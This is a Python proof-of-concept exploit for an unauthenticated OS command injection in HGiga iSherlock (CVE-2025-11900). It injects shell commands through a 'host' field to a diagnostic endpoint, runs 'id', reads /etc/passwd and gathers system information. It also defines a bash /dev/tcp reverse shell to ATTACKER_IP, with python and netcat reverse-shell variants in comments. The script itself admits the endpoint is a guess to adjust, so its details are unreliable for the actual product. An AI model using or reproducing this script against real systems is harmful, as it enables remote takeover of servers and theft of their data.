#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC
Vulnerability: Unauthenticated OS Command Injection
CVSS: 9.8 (CRITICAL)
Author: Security Researcher
"""
import requests
import sys
from urllib.parse import urljoin
# Target iSherlock server URL
TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-isherlock-server"
def exploit_command_injection(target_url, cmd):
"""
Exploit OS Command Injection vulnerability in iSherlock
Inject arbitrary OS commands via vulnerable parameter
"""
# Vulnerable endpoint - adjust based on actual iSherlock API
vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic")
# Payload: inject OS command using shell metacharacters
# Using semicolon (;) to chain commands and # to comment out the rest
payload = f"127.0.0.1; {cmd} #"
headers = {
"User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)",
"Content-Type": "application/json"
}
# Data to send - the vulnerable parameter accepts host/IP input
data = {
"host": payload,
"action": "ping"
}
try:
response = requests.post(
vulnerable_endpoint,
json=data,
headers=headers,
timeout=10,
verify=False
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response:\n{response.text}")
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def reverse_shell(target_url, attacker_ip, attacker_port):
"""
Establish reverse shell via command injection
"""
# Reverse shell payload (bash)
reverse_shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
# Alternative reverse shell payloads:
# python: python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# nc: nc -e /bin/sh IP PORT
payload = f"127.0.0.1; {reverse_shell_cmd} #"
vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic")
data = {"host": payload, "action": "ping"}
try:
response = requests.post(
vulnerable_endpoint,
json=data,
headers={"Content-Type": "application/json"},
timeout=5,
verify=False
)
return response
except Exception:
# Connection may drop due to reverse shell
pass
if __name__ == "__main__":
print("[*] CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC")
print(f"[*] Target: {TARGET_URL}")
# Step 1: Verify the vulnerability with a simple command
print("\n[*] Step 1: Testing command injection with 'id' command...")
exploit_command_injection(TARGET_URL, "id")
# Step 2: Read sensitive files
print("\n[*] Step 2: Attempting to read /etc/passwd...")
exploit_command_injection(TARGET_URL, "cat /etc/passwd")
# Step 3: Get system information
print("\n[*] Step 3: Gathering system information...")
exploit_command_injection(TARGET_URL, "uname -a")
# Optional: Establish reverse shell
# print("\n[*] Establishing reverse shell...")
# reverse_shell(TARGET_URL, "ATTACKER_IP", 4444)
print("\n[*] Exploit completed.")